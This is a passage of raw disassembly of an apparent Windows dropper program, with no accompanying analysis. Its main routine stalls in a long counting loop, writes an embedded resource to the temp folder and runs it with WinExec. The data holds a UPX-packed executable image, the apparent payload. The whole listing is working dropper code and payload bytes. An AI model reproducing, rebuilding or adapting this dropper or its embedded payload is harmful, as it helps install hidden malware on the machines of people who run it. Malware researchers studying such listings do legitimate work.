eax push ebp push offset byte_403331 push dword ptr fs:[eax] mov fs:[eax], esp inc dword_405654 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_403338 retn ; --------------------------------------------------------------------------- byte_403331 db 0E9h, 52h, 0F6h ; DATA XREF: .data:003D6712o ; .data:00403312o dd 0F8EBFFFFh ; --------------------------------------------------------------------------- loc_403338: ; CODE XREF: .data:003D6730j ; .data:00403330j ; DATA XREF: ... pop ebp retn ; --------------------------------------------------------------------------- aLGTv@ db '‹Àƒ-TV@',0 dw 0C301h ; --------------------------------------------------------------------------- push ebp mov ebp, esp xor eax, eax push ebp push offset byte_403369 push dword ptr fs:[eax] mov fs:[eax], esp inc dword_40565C xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_403370 retn ; --------------------------------------------------------------------------- byte_403369 db 0E9h, 1Ah, 0F6h ; DATA XREF: .data:003D674Ao ; .data:0040334Ao dd 0F8EBFFFFh ; --------------------------------------------------------------------------- loc_403370: ; CODE XREF: .data:003D6768j ; .data:00403368j ; DATA XREF: ... pop ebp retn ; --------------------------------------------------------------------------- aLGV@ db '‹Àƒ-\V@',0 dw 0C301h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40337C proc near ; CODE XREF: .data:004034C7p jmp dword_406130 sub_40337C endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403384 proc near ; CODE XREF: .data:0040349Bp jmp dword_40612C sub_403384 endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40338C proc near ; CODE XREF: .data:0040355Bp jmp dword_406128 sub_40338C endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403394 proc near ; CODE XREF: .data:00403562p jmp dword_406124 sub_403394 endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40339C proc near ; CODE XREF: .data:0040345Bp jmp dword_406120 sub_40339C endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4033A4 proc near ; CODE XREF: .data:0040344Cp jmp dword_40611C sub_4033A4 endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4033AC proc near ; CODE XREF: .data:004034B4p jmp dword_406118 sub_4033AC endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4033B4 proc near ; CODE XREF: .data:004034BAp jmp dword_406114 sub_4033B4 endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4033BC proc near ; CODE XREF: .data:004034ABp jmp dword_406110 sub_4033BC endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4033C4 proc near ; CODE XREF: .data:004034D5p jmp dword_40610C sub_4033C4 endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4033CC proc near ; CODE XREF: .data:004034C1p jmp dword_406108 sub_4033CC endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4033D4 proc near ; CODE XREF: .data:0040347Dp jmp dword_406104 sub_4033D4 endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4033DC proc near ; CODE XREF: .data:0040346Ap jmp dword_406100 sub_4033DC endp ; --------------------------------------------------------------------------- dw 0C08Bh ; --------------------------------------------------------------------------- push ebp mov ebp, esp xor eax, eax push ebp push offset byte_403409 push dword ptr fs:[eax] mov fs:[eax], esp inc dword_405660 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_403410 retn ; --------------------------------------------------------------------------- byte_403409 db 0E9h, 7Ah, 0F5h ; DATA XREF: .data:003D67EAo ; .data:004033EAo dd 0F8EBFFFFh ; --------------------------------------------------------------------------- loc_403410: ; CODE XREF: .data:003D6808j ; .data:00403408j ; DATA XREF: ... pop ebp retn ; --------------------------------------------------------------------------- aLGV@_0 db '‹Àƒ-`V@',0 dw 0C301h ; --------------------------------------------------------------------------- loc_40341C: ; DATA XREF: .data:003D6952o ; .data:00403552o push ebp mov ebp, esp add esp, 0FFFFFCF4h push ebx push esi push edi mov esi, [ebp+10h] mov eax, 0 loc_403430: ; CODE XREF: .data:0040343Cj inc eax nop nop nop add ecx, 1 cmp eax, 56904055h jl short loc_403430 xor eax, eax lea eax, [ebp-309h] push eax push 104h call sub_4033A4 or edi, 0FFFFFFFFh mov eax, [ebp+0Ch] push eax push esi push 0 call sub_40339C mov ebx, eax push esi lea eax, [ebp-205h] push eax call sub_4033DC lea eax, [ebp-205h] push eax lea eax, [ebp-309h] push eax call sub_4033D4 push 1 push 80h push 2 push 0 push 2 push 40000000h lea eax, [ebp-309h] push eax call sub_403384 mov esi, eax push 0 lea eax, [ebp-4] push eax push ebx push 0 call sub_4033BC push eax push ebx push 0 call sub_4033AC push eax call sub_4033B4 push eax push esi call sub_4033CC push esi call sub_40337C push 5 lea eax, [ebp-309h] push eax call sub_4033C4 mov eax, edi pop edi pop esi pop ebx mov esp, ebp pop ebp retn 10h ; --------------------------------------------------------------------------- db 8Dh, 40h, 0 ; --------------------------------------------------------------------------- loc_4034E8: ; DATA XREF: .data:003D693Co ; .data:0040353Co push ebp mov ebp, esp xor eax, eax push ebp push offset byte_403507 push dword ptr fs:[eax] mov fs:[eax], esp xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40350E retn ; --------------------------------------------------------------------------- byte_403507 db 0E9h ; DATA XREF: .data:003D68EEo ; .data:004034EEo dd 0FFFFF47Ch db 0EBh, 0F8h ; --------------------------------------------------------------------------- loc_40350E: ; CODE XREF: .data:003D6906j ; .data:00403506j ; DATA XREF: ... pop ebp retn ; --------------------------------------------------------------------------- dword_403510 dd 5, 403518h, 40333Ch, 40330Ch, 403130h, 4030DCh, 403374h ; DATA XREF: .data:003D6946o ; .data:00403546o dd 403344h, 403414h, 4033E4h, 0 dd offset loc_4034E8 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF0h mov eax, offset dword_403510 call sub_4032C8 push 0 push offset loc_40341C push 0Ah push 0 call sub_40338C push 0 call sub_403394 call sub_402DFC ; --------------------------------------------------------------------------- dd 2A5h dup(0) dword_404000 dd 0 ; sub_3D6140+2w ... dword_404004 dd 0 ; sub_3D60E4+37r ... dd offset word_408D02 word_40400C dw 1332h ; DATA XREF: .data:003D5A96r ; .data:loc_3D5B08r ... dw 0C08Bh dd offset byte_408D00 dd offset byte_408D00 byte_404018 db 0 ; DATA XREF: sub_3D6170:loc_3D61D1r ; sub_402D70:loc_402DD1r db 8Dh, 40h, 0 dword_40401C dd 0 dword_404020 dd 0 ; sub_402F8C+Cr off_404024 dd offset sub_401E64 ; DATA XREF: sub_3D5838+5r ; sub_402438+5r off_404028 dd offset sub_401FF4 ; DATA XREF: sub_3D5858+5r ; sub_402458+5r dd offset loc_402374 byte_404030 db 0 ; DATA XREF: sub_3D5884+36r ; sub_402484+36r aRsu db 'ËÌÈÉ×ÏÈÍÎÛØÚÙÊÜÝÞßàáã',0 aFxn@ db 'äå@',0 aError db 'Error',0 ; DATA XREF: sub_3D6170+6Co ; sub_402D70+6Co dw 0C08Bh aRuntimeErrorAt db 'Runtime error at 00000000',0 ; DATA XREF: sub_3D60E4+3o ; sub_3D6170+32o ... dw 0C08Bh byte_404074 db 30h ; DATA XREF: sub_3D60E4+41r ; sub_402CE4+41r db 31h, 32h, 33h dd 37363534h, 42413938h, 46454443h dword_404084 dd 0FFFFFFFFh ; sub_3D6638+37r ... dword_404088 dd 0 ; sub_3D66C8+33o ... dword_40408C dd 0 ; sub_4032C8+1Bw dword_404090 dd 0 ; sub_4032C8+22w dword_404094 dd 0 ; sub_4032C8+29w dd 3DCh dup(0) dword_405008 dd 0 ; sub_3D5884+16r ... align 10h dword_405010 dd 0 dword_405014 dd 0 ; sub_402CA4+Aw dword_405018 dd 0 ; sub_3D61FC+B1r ... dword_40501C dd 0 ; sub_402CA4+29w dd 0 byte_405024 db 0 ; DATA XREF: sub_3D60A4+33w ; sub_402CA4+33w align 10h dword_405030 dd 0 ; sub_402DFC+Eo byte_405034 db 0 ; DATA XREF: sub_3D6170+1r ; sub_402D70+1r byte_405035 db 0 ; DATA XREF: sub_3D4B78+1Br ; sub_3D4B78+A2r ... align 4 dword_405038 dd 73h dup(0) ; .data:003D64F5o ... dword_405204 dd 0 ; .data:003D64FFo ... word_405208 dw 0 ; DATA XREF: sub_3D6170+Ar ; sub_402D70+Ar align 10h dword_405210 dd 0 ; sub_402D70+15r align 10h dword_405220 dd 0 ; sub_402D70+23r dd 6Bh dup(0) dword_4053D0 dd 73h dup(0) ; .data:00403109o dword_40559C dd 0 ; sub_3D5170+92w ... dword_4055A0 dd 0 ; sub_3D5170+9Bw ... dword_4055A4 dd 0 ; .data:004030EDw dd 0 byte_4055AC db 0 ; DATA XREF: sub_3D4B78+8Ew ; sub_3D4C3C+4r ... align 10h dword_4055B0 dd 0 ; sub_3D48B8+63w ... dword_4055B4 dd 6 dup(0) ; sub_3D4B78+24o ... dword_4055CC dd 0 ; sub_3D44EC+2Aw ... dword_4055D0 dd 0 ; sub_3D4574+Ar ... dword_4055D4 dd 0 ; sub_3D46F4+51o ... dd 3 dup(0) dword_4055E4 dd 4 dup(0) ; sub_3D49C8+Eo ... dword_4055F4 dd 0 ; sub_401778+7Fo dword_4055F8 dd 0 ; sub_401D70:loc_401D80r align 10h dword_405600 dd 0 ; sub_3D4D1C+1r ... dword_405604 dd 0 dword_405608 dd 0 ; sub_3D500C+2Er ... dword_40560C dd 0 ; sub_3D4B78+5Dr ... dword_405610 dd 0 ; sub_3D4C3C+81o ... align 10h dword_405620 dd 0 ; sub_3D6140+Do ... dword_405624 dd 0 ; sub_3D5FBC+2r ... dword_405628 dd 0 ; sub_3D60A4+14w ... dword_40562C dd 0 ; sub_3D60A4+1Bw ... dword_405630 dd 0 ; sub_402CA4+20w dd 6 dup(0) byte_40564C db 0 ; DATA XREF: sub_3D667Cr sub_40327Cr align 10h dword_405650 dd 0 ; sub_3D66C8+16r ... dword_405654 dd 0 ; .data:0040331Dw dword_405658 dd 0 ; sub_40327C:loc_4032ABr dword_40565C dd 0 ; .data:00403355w dword_405660 dd 0 ; .data:004033F5w dd 26Ah dup(0) dd 6138h, 6078h, 3 dup(0) dd 62C0h, 60D0h, 3 dup(0) dd 62ECh, 60DCh, 3 dup(0) dd 632Ch, 60ECh, 3 dup(0) dd 6378h, 6100h, 5 dup(0) dword_406078 dd 7C91188Ah ; resolved to->NTDLL.RtlDeleteCriticalSectiondword_40607C dd 7C9010EDh ; resolved to->NTDLL.RtlLeaveCriticalSectiondword_406080 dd 7C901005h ; resolved to->NTDLL.RtlEnterCriticalSectiondword_406084 dd 7C809EF1h ; resolved to->KERNEL32.InitializeCriticalSectiondword_406088 dd 7C809AE4h ; resolved to->KERNEL32.VirtualFreedword_40608C dd 7C809A51h ; resolved to->KERNEL32.VirtualAllocdword_406090 dd 7C80992Fh ; resolved to->KERNEL32.LocalFreedword_406094 dd 7C80998Dh ; resolved to->KERNEL32.LocalAlloc dd 7C8111DAh, 7C809728h, 7C80A415h, 7C801EEEh dword_4060A8 dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoA dd 7C812F1Dh dword_4060B0 dd 7C80ABDEh ; resolved to->KERNEL32.FreeLibrarydword_4060B4 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcessdword_4060B8 dd 7C810D87h ; resolved to->KERNEL32.WriteFile dd 7C862E2Ah, 7C937A40h, 7C812A09h dword_4060C8 dd 7C812F39h ; resolved to->KERNEL32.GetStdHandle align 10h dd 62CCh dword_4060D4 dd 62DEh dd 0 dword_4060DC dd 62FAh dword_4060E0 dd 630Eh dword_4060E4 dd 631Eh dd 0 dword_4060EC dd 633Ah dword_4060F0 dd 6348h dword_4060F4 dd 6356h dword_4060F8 dd 6364h align 10h dword_406100 dd 6386h dword_406104 dd 6392h dword_406108 dd 639Eh dword_40610C dd 63AAh dword_406110 dd 63B4h dword_406114 dd 63C6h dword_406118 dd 63D6h dword_40611C dd 63E6h dword_406120 dd 63F6h dword_406124 dd 6406h dword_406128 dd 6414h dword_40612C dd 642Ah dword_406130 dd 6438h align 8 aKernel32_dll_6 db 'kernel32.dll',0 align 4 aDeletecritic_0 db 'DeleteCriticalSection',0 align 10h aLeavecritica_0 db 'LeaveCriticalSection',0 align 4 aEntercritica_0 db 'EnterCriticalSection',0 align 10h aInitializecr_0 db 'InitializeCriticalSection',0 align 4 aVirtualfree_0 db 'VirtualFree',0 dd 69560000h, 61757472h, 6C6C416Ch, 636Fh, 6F4C0000h, 466C6163h dd 656572h, 6F4C0000h, 416C6163h, 636F6C6Ch, 0 aGetversion_0 db 'GetVersion',0 align 10h dd 65470000h, 72754374h, 746E6572h, 65726854h, 64496461h dd 0 aGetthreadloc_0 db 'GetThreadLocale',0 dd 65470000h, 61745374h, 70757472h, 6F666E49h, 41h, 4C746547h dd 6C61636Fh, 666E4965h, 416Fh, 65470000h, 6D6F4374h, 646E616Dh dd 656E694Ch, 41h, 65657246h, 7262694Ch, 797261h, 78450000h dd 72507469h, 7365636Fh, 73h, 74697257h, 6C694665h, 65h dd 61686E55h, 656C646Eh, 63784564h, 69747065h, 69466E6Fh dd 7265746Ch, 0 aRtlunwind_0 db 'RtlUnwind',0 align 10h aRaiseexcepti_0 db 'RaiseException',0 align 10h dd 65470000h, 64745374h, 646E6148h, 656Ch, 72657375h, 642E3233h dd 6C6Ch, 65470000h, 79654B74h, 72616F62h, 70795464h, 65h dd 7373654Dh, 42656761h, 41786Fh, 61766461h, 32336970h dd 6C6C642Eh, 0 aRegqueryvalu_0 db 'RegQueryValueExA',0 align 10h aRegopenkeyex_0 db 'RegOpenKeyExA',0 align 10h aRegclosekey_1 db 'RegCloseKey',0 aKernel32_dll_7 db 'kernel32.dll',0 align 4 aTlssetvalue_0 db 'TlsSetValue',0 dd 6C540000h, 74654773h, 756C6156h, 65h, 61636F4Ch, 6C6C416Ch dd 636Fh, 65470000h, 646F4D74h, 48656C75h, 6C646E61h, 4165h dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0 aLstrcpya_0 db 'lstrcpyA',0 align 4 aLstrcata_0 db 'lstrcatA',0 align 10h aWritefile_0 db 'WriteFile',0 align 4 aWinexec_0 db 'WinExec',0 dd 69530000h, 666F657Ah, 6F736552h, 65637275h, 0 aLockresource_0 db 'LockResource',0 align 4 aLoadresource_0 db 'LoadResource',0 align 4 aGettemppatha_0 db 'GetTempPathA',0 align 4 aFindresource_0 db 'FindResourceA',0 align 4 aExitprocess_1 db 'ExitProcess',0 dd 6E450000h, 65526D75h, 72756F73h, 614E6563h, 4173656Dh dd 0 aCreatefilea_0 db 'CreateFileA',0 dd 6C430000h, 4865736Fh, 6C646E61h, 65h, 2EEh dup(0) dword_407000 dd 2 dup(0) ; .data:00408000o dword_407008 dd 3FEh dup(0) ; .data:00408004o dd offset dword_407000 dd offset dword_407008 dd offset dword_404084 dd offset dword_408010 dword_408010 dd 33Ch dup(0) ; .data:0040800Co byte_408D00 db 2 dup(0) ; DATA XREF: .data:00404010o ; .data:00404014o word_408D02 dw 0 ; DATA XREF: .data:003D6A08o ; .data:00404008o dd 0BFh dup(0) dd 1000h, 11Ch, 300A3002h, 301A3012h, 302A3022h, 303A3032h dd 304A3042h, 305A3052h, 306A3062h, 307A3072h, 30AE3082h dd 30BE30B6h, 30CE30C6h, 30DE30D6h, 30EF30E6h, 31183110h dd 31873180h, 334632CFh, 33DB3395h, 346433EEh, 34E934A8h dd 3529351Dh, 35D73544h, 37623726h, 378A377Fh, 379D3795h dd 37B137A7h, 37D137BBh, 37E537D7h, 380237F8h, 38163808h dd 3824381Ch, 38423836h, 385D3851h, 38703865h, 38833876h dd 38A33889h, 38B438AAh, 38C838BEh, 38DF38D4h, 38F638F0h dd 390838FEh, 392A391Fh, 3963394Bh, 399A3982h, 39E239A2h dd 3A4739F8h, 3A853A67h, 3BBC3BAFh, 3BF53BEFh, 3C173C0Eh dd 3C2B3C20h, 3C3B3C34h, 3C513C4Ah, 3CCC3C73h, 3D593CD4h dd 3D7C3D77h, 3DEE3D82h, 3E043DF4h, 3E523E0Dh, 3E713E5Bh dd 3EA33E97h, 3EDE3EABh, 3F223F08h, 3F553F4Ch, 3F6D3F65h dd 3F7C3F73h, 3F883F83h, 3FA13F8Eh, 3FC83FAAh, 3FD63FCEh dd 2000h, 114h, 30063000h, 30303018h, 3044303Ch, 306A305Bh dd 309A307Ah, 30D630B2h, 30E430DEh, 311C30EAh, 315E3140h dd 3174316Eh, 31E1317Ch, 31F531ECh, 320B31FBh, 32653214h dd 327C326Ch, 328C3286h, 329A3294h, 32A732A0h, 335832B1h dd 339F3381h, 33B333ABh, 3413340Dh, 343F341Bh, 347A345Fh dd 349C348Fh, 356D34BCh, 3699365Ah, 36BF36A9h, 36F336DDh dd 371F370Ah, 376E3759h, 378A3782h, 37B837A0h, 37FA37C6h dd 38223816h, 38403836h, 38833853h, 38B938B0h, 38F438EBh dd 39303929h, 399F3952h, 3B0F39C7h, 3B3E3B37h, 3B783B56h dd 3BB43BACh, 3BEB3BBFh, 3C4B3C00h, 3C723C5Eh, 3CAA3CA6h dd 3CB43CB0h, 3CC03CB9h, 3CCE3CC6h, 3CE83CD9h, 3D1C3CF0h dd 3D443D27h, 3D733D4Eh, 3D873D7Dh, 3D953D8Fh, 3DBE3DA3h dd 3DDD3DD3h, 3E013DE2h, 3E0B3E06h, 3E413E2Dh, 3EAF3EA6h dd 3EE23ED5h, 3FAA3F99h, 3FF13FEAh, 3000h, 0B8h, 30213003h dd 3036302Ah, 3078303Dh, 30E330C1h, 30F630EFh, 310A3100h dd 31323121h, 3146313Fh, 3150314Ah, 315A3154h, 31653161h dd 3188317Fh, 319D3191h, 31CE31A7h, 31F431E3h, 320631FEh dd 3216320Eh, 3246321Eh, 327E3270h, 329C3283h, 32BD32ACh dd 32DA32CEh, 32E432DFh, 32F232EBh, 331332FCh, 332C331Fh dd 334B333Eh, 33643357h, 337E3376h, 338E3386h, 339E3396h dd 33AE33A6h, 33BE33B6h, 33CE33C6h, 33DE33D6h, 33F733EBh dd 34163404h, 350234EFh, 35183514h, 3520351Ch, 35283524h dd 3530352Ch, 353C3534h, 35533547h, 4000h, 10h, 30283024h dd 302Ch, 8000h, 14h, 30043000h, 300C3008h, 340h dup(0) dd 4, 10000h, 0Ah, 80000018h, 2 dup(0) dd 4, 2, 80000088h, 80000038h, 80000094h, 80000050h, 2 dup(0) dd 4, 10000h, 0 dd 68h, 2 dup(0) dd 4, 10000h, 0 dd 78h, 0A0A0h, 0D400h, 4E4h, 0 dd 174A0h, 0A800h, 4E4h, 0 dd 300005h, 45002Eh, 450058h, 310005h, 45002Eh, 450058h dd 905A4Dh, 3, 4, 0FFFFh, 0B8h, 0 dd 40h, 8 dup(0) dd 0D8h, 0EBA1F0Eh, 0CD09B400h, 4C01B821h, 685421CDh, 70207369h dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0 dd 5BB36322h, 3 dup(8DD0266h), 8A0C441h, 8DD0262h, 8B0C441h dd 8DD026Ch, 8DC0266h, 8DD024Fh, 8800DA5h, 8DD026Fh, 8ACC441h dd 8DD0265h, 8A1C441h, 8DD0267h, 8A5C441h, 8DD0267h, 68636952h dd 8DD0266h, 2 dup(0) dd 4550h, 3014Ch, 46D6FF0Dh, 2 dup(0) dd 10300E0h, 8010Bh, 0D000h, 1000h, 5000h, 123B0h, 6000h dd 13000h, 400000h, 1000h, 200h, 4, 0 dd 4, 0 dd 14000h, 1000h, 0 dd 2, 100000h, 1000h, 100000h, 1000h, 0 dd 10h, 2 dup(0) dd 138B4h, 0E4h, 13000h, 8B4h, 0Eh dup(0) dd 13998h, 48h, 0Ah dup(0) aUpx0_0 db 'UPX0',0 align 4 dd 5000h, 1000h, 0 dd 400h, 3 dup(0) dd 0E0000080h, 31585055h, 0 dd 0D000h, 6000h, 0C600h, 400h, 3 dup(0) dd 0E0000040h, 7273722Eh, 63h, 1000h, 13000h, 0A00h, 0CA00h dd 3 dup(0) dd 0C0000040h, 64h dup(0) dd 32000000h, 32302Eh, 21585055h, 902090Dh ; --------------------------------------------------------------------------- loc_40A488: ; CODE XREF: .data:0040A4C0j rol word ptr [edx+61h], cl mov al, 0BCh db 2Eh nop sub [ebx], eax add [eax], eax scasb retn ; --------------------------------------------------------------------------- align 4 dd 11000h, 1A000026h ; --------------------------------------------------------------------------- loc_40A4A0: ; CODE XREF: .data:0040A4BEj outsd ; --------------------------------------------------------------------------- db 3 dup(0FFh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 3Ch mov eax, dword_40E000 xor eax, ebp mov [ebp-4], eax push esi push edi push 6 pop ecx mov esi, 8D0E2068h jge short loc_40A4A0 jg short loc_40A488 mov esi, 66A5F3FBh movsd movsb ; --------------------------------------------------------------------------- db 0Fh, 0FFh, 75h dd 1284BE08h, 0E0458DC4h, 0FFFFFFA4h, 0E8DBh, 59C085A8h dd 14745E5Fh, 2BE04D8Dh, 0DC083C1h, 591A6A99h, 448AF9F7h dd 6D86F915h, 27EBE0EEh, 25C42632h, 0EEFFC423h, 0EBC40BFFh dd 8458A03h, 33FC4D8Bh, 560325CDh, 8B56C3C9h, 0FB7D0FF0h dd 6B6FFEDh, 0EBF98B57h, 64E8500Dh, 78800FFh, 7D8A4647h dd 0EF75C084h, 0ADFFFF6Dh, 0EBC3680Ah, 244C3A07h, 40077404h dd 0C984088Ah, 2A05F375h, 0DFF63FB7h, 1BD9F60Eh, 23D1F7C9h dd 54C9C3C1h, 33446A56h, 56AC79F6h, 0BBEDDDB7h, 7C045550h dd 0C0CC483h, 501050F0h, 16A0056h, 6BBCD6E6h, 45C79803h dd 75644ACh, 0DBFB81D8h, 8966FEEFh, 15FFDC75h, 0D8F7DF2Ch dd 5E40C01Bh, 0AC8D5589h, 80FE6824h, 7DA10FB7h, 218EC81h dd 94851C1Fh, 858B0C01h, 0B8285FC3h, 2A2505A0h, 0B8FF3380h dd 9814D710h, 4D7DFDFBh, 887D898Ch, 48B887E9h, 0B908D0Fh dd 6EEB660Fh, 8C847AB6h, 80456850h, 0E1FD0C62h, 3BE36FDDh dd 0B3850FF7h, 1D8B531Dh, 88455308h, 0ECE65750h, 8D00BBEDh dd 9D503585h, 23D3FF84h, 0E6F6CF85h, 41C81B6h, 6A88156Eh dd 0F83C3F40h, 0F63B585Fh, 6D74FF85h, 1006A34h, 75F68536h dd 0B66B7FDDh, 5720554Bh, 387C800Eh, 358B2CFFh, 0D740D38h dd 8F7DB73h, 14D75468h, 58028D6h, 5B606D0Dh, 474025D7h dd 4A88CC01h, 0B66633A9h, 8570491h, 23001140h, 5B70FC2Ch dd 5F028D8Bh, 5EB3C68Bh, 16E181B4h, 98C5DD0Eh, 2B7BC910h dd 0A61B0A0Ch, 6848977Bh, 13441B8h, 0D9BF850Fh, 56CE84BEh dd 326A240Eh, 0F7D23359h, 45928F1h, 63F886F7h, 895048Bh dd 1BAD2F33h, 68ECDAFBh, 1F909D58h, 0D415A750h, 0C2FFBBB5h dd 74C63BD8h, 6856533Fh, 26A2C80h, 77B60856h, 4007D74Dh dd 4A831C1Ch, 562074D8h, 0CB6EF435h, 0B41A76EDh, 23104900h dd 20281F53h, 0C6F8C719h, 5EC31806h, 74C03372h, 0B39096C8h dd 58B308B9h, 0E16F76DEh, 0BD952F74h, 42022A82h, 1E755F0Fh dd 0C1765E4Bh, 11011092h, 0FE0D7559h, 0E301FBh, 0C2CC59C6h dd 0D3B0010h, 0F3027551h, 0BCBDE9C3h, 6512EB1Ch, 0A3032868h dd 0D89E1E8h, 0F3E7CDE4h, 0E01505F9h, 0D835DC1Dh, 2366D43Dh dd 8C85BF9Fh, 0D06E26Fh, 0D01DE1F4h, 0C8E6F305h, 0C825CC91h dd 8F9CC42Dh, 0EEF9F805h, 458B6DB1h, 407EC56h, 8D0FF0A3h dd 0FCA30845h, 0F6FBAEBDh, 0FFCEE085h, 0B3805C7h, 1CA10101h dd 0AE6DDEDCh, 0E0139729h, 40905h, 0E0E41DC0h, 0E1046DDBh dd 32D8E602h, 0B80A04A1h, 0DC1982EEh, 3420140Eh, 6B613930h dd 54296A7Ch, 142C5969h, 3DEDA944h, 460EE0Bh, 203D487Eh dd 0EF6CD6EEh, 682308B0h, 504C1B5Bh, 17DDB206h, 836C50CCh dd 24E41025h, 0AD00CCC3h, 8BFE9BC2h, 8B0C2454h, 74D285C6h dd 0BF179469h, 24D377EDh, 8116EE08h, 0E7290FAh, 74300C55h dd 0AEFFFD05h, 4D05420Dh, 4FA831Ah, 0D9F73172h, 7403E183h dd 0CDD12B0Ch, 156FFFF7h, 8301C783h, 0F67501E9h, 0E0C1C88Bh dd 6C10308h, 0ACE7CA10h, 0E283DBFBh, 7402E905h, 58ABF306h dd 97EA270Ah, 6076EACEh, 405C35Fh, 0FCBA042Fh, 0B7F5BC8Bh dd 0C867DAEh, 0F66072Eh, 0B6EBC0EFh, 3C0024A4h, 90D6DDDFh dd 7F117F0Dh, 20041047h, 0CF3F1F30h, 605040F3h, 8DBF8D70h dd 0D9CE1649h, 8BD075EEh, 565DE549h, 0ED998310h, 0AD97FBD2h dd 0FA2BFA33h, 60FE783h, 683C75B8h, 0EDFFEB19h, 9CD18B10h dd 0F455897Fh, 1274CA3Bh, 0A751CA2Bh, 66BBFF6h, 150D835Ah dd 450345AEh, 0EEC22B10h, 881ADB6Dh, 0F853C03Bh, 0AAF3F431h dd 0BAF9671Bh, 0F72EEBF6h, 0F058C5DFh, 0B7F00816h, 0F0B5CDF0h dd 0C8F23507h, 9552D02Bh, 98594B51h, 4D05659Dh, 8728E0Ch dd 0DDDEDFA6h, 0A3400618h, 6AC33D0Ah, 62C0680Ch, 7FDB8173h dd 6583B013h, 28C700FCh, 1E40BC1h, 6DEDDA97h, 0EC3A23EBh dd 3D01008Bh, 0A010C05h, 0E6C2ED3Dh, 3061DBEh, 37400234h dd 2B2FE865h, 0E48D4A39h, 6EF4233Bh, 676D3332h, 0F2F5425Fh dd 3C532018h, 0E16D8502h, 53B9F46Eh, 358A589Ch, 0F6FB201Ch dd 9DE17DBBh, 74A85A9Ch, 1F9D511Fh, 5D1DA20Fh, 0D776FCE8h dd 89ECEDBDh, 126FB8BEh, 5BF83355h, 7D353AF7h, 0DC0EB80Bh dd 7CF0C20Eh, 6359C905h, 2EB70DBh, 0BC365B04h, 4B28360Ch dd 17D6338Eh, 5B663520h, 0CAA61C30h, 8D036C13h, 0D6C636A5h dd 571BE02Bh, 0CA4D31C4h, 0DA142B58h, 72AE8950h, 86B00B40h dd 672E076Fh, 37A3640Ch, 341B40C3h, 8564A578h, 5B5BC30Ah dd 0D7B605Ah, 0C85B512Bh, 375C9814h, 0A5D837DEh, 8738D55h dd 764C3533h, 0ADBF8306h, 0C6E54B6Dh, 4F91368h, 7B8DB618h dd 0FFE91685h, 8B0D7410h, 0CF03044Eh, 0F1380C33h, 0F0B8740Ch dd 846D96Eh, 0F628970Fh, 855A0440h, 0E3B1BD1Fh, 0C6B353Fh dd 0E7FEFD83h, 1CEF8D30h, 0B7FC4489h, 0B03CDFFh, 0FC538920h dd 448D5E74h, 864C1E6Dh, 8DC98514h, 0D95865Ch, 31C6DDFh dd 1674141Ch, 907D78Bh, 75DE0596h, 7C0176FFh, 504C7F44h dd 0E88B8614h, 76D9CD75h, 8A76C595h, 86962474h, 0BF77DD18h dd 5B5DE377h, 0BCC31413h, 88C6EBEFh, 0F1398128h, 63FD2C8Eh dd 75E06D73h, 2104622Ah, 0D4D40768h, 0A3434D0h, 9A108004h dd 0AF1EDB28h, 0BC52CDB4h, 2C35A018h, 0FE138595h, 2C54C6EEh dd 740C6839h, 0D51E6813h, 0EEF611EBh, 24E0177Ch, 0C488914h dd 0C9ED9B9Bh, 4B3A56C8h, 0ADE9E608h, 0D8660E83h, 0FE0C7BE0h dd 51A25021h, 0B0A1BACBh, 54AF1D8Bh, 97B70720h, 74DFF1D9h dd 62108F9Dh, 52551814h, 68515150h, 0E1A11938h, 0BE079204h dd 0D6083DC4h, 6307B1F0h, 8B301925h, 1933B558h, 5ADF708Bh dd 0FE80B6DDh, 34433B90h, 3B040843h, 0DCD576F2h, 8D2EF0B2h dd 0B3737634h, 0BB82B00Bh, 0AEB1B0FBh, 0AC015975h, 0C790843h dd 780BB94Dh, 0C987E05h, 64B0EB6Ch, 0FF70566Ah, 500850DAh dd 0F7B3C35Bh, 11060441h, 0C75F8DB1h, 5A3374C8h, 0C833488Bh dd 0DAD969DCh, 1868134Bh, 100274FFh, 0FF1E9614h, 0A408B35Eh dd 89C6235Dh, 8403B802h, 0DBBDB2D9h, 29104C25h, 21C71FFh dd 37282818h, 0C236DA36h, 89F1558Dh, 0DB33F1EAh, 12836176h dd 0E33F92Ch, 98785BD1h, 5DCBF03Bh, 8BF18BEAh, 1DA265C1h dd 0F3530617h, 0E6D233C9h, 0E9142485h, 68E1AFBAh, 205117DFh dd 655DAA70h, 68565E6Ch, 37515271h, 8603Bh, 4DD1BA4h, 0B66C77Fh dd 